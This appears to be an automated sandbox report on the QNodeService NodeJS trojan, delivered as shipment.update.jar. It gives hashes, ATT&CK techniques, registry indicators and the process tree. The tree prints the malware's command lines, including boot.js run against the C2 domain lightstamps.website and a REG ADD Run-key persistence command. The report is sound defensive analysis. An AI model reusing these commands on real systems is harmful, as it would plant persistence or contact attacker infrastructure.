qnodeservice | a0c8dec14afed290247144699853de8c2cc21bbb71e057182f219b771325ec20

General

Target
shipment.update.jar
Size 78KB
Sample201111-rt9zdfp56s
SHA256 a0c8dec14afed290247144699853de8c2cc21bbb71e057182f219b771325ec20
MD5 1d87978aca22f2aea87760aa9740a5bd
SHA1 ca32d5b571f1622cae00343a69989b1970ac5724
SHA512 92197ea9e746b2a0c3ba13190da78fefe42f4eb6016ef5479d88a050b7fe8baf23485ca2d484493224c7b463d964a32657e1fede565910118eb48fee710cdf1c
MD5 SHA1 SHA512

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1928	node.exe
700	node.exe
1000	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\1dbc3170-f58c-408e-a86b-8f14130ce5f5 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab49-165.dat	js
behavioral2/files/0x000100000001ab49-170.dat	js
behavioral2/files/0x000100000001ab49-174.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1928	node.exe
1928	node.exe
1928	node.exe
1928	node.exe
700	node.exe
700	node.exe
700	node.exe
700	node.exe
1000	node.exe
1000	node.exe
1000	node.exe
1000	node.exe
1000	node.exe
1000	node.exe
1000	node.exe
1000	node.exe
1000	node.exe
1000	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3988 wrote to memory of 2144	3988	java.exe	77
PID 3988 wrote to memory of 2144	3988	java.exe	77
PID 2144 wrote to memory of 1928	2144	javaw.exe	81
PID 2144 wrote to memory of 1928	2144	javaw.exe	81
PID 1928 wrote to memory of 700	1928	node.exe	83
PID 1928 wrote to memory of 700	1928	node.exe	83
PID 700 wrote to memory of 1000	700	node.exe	84
PID 700 wrote to memory of 1000	700	node.exe	84
PID 1000 wrote to memory of 904	1000	node.exe	86
PID 1000 wrote to memory of 904	1000	node.exe	86
PID 904 wrote to memory of 1224	904	cmd.exe	87
PID 904 wrote to memory of 1224	904	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\shipment.update.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3988
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\dd53ac68.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain lightstamps.website
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_rtJ58Z\boot.js --hub-domain lightstamps.website
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:700
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_rtJ58Z\boot.js --hub-domain lightstamps.website
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1000
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "1dbc3170-f58c-408e-a86b-8f14130ce5f5" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:904
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "1dbc3170-f58c-408e-a86b-8f14130ce5f5" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1224

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/700-171-0x000003413A380000-0x000003413A381000-memory.dmp

Download

memory/1000-175-0x000001F48C9C0000-0x000001F48C9C1000-memory.dmp

Download

memory/1928-168-0x0000011C0F640000-0x0000011C0F641000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads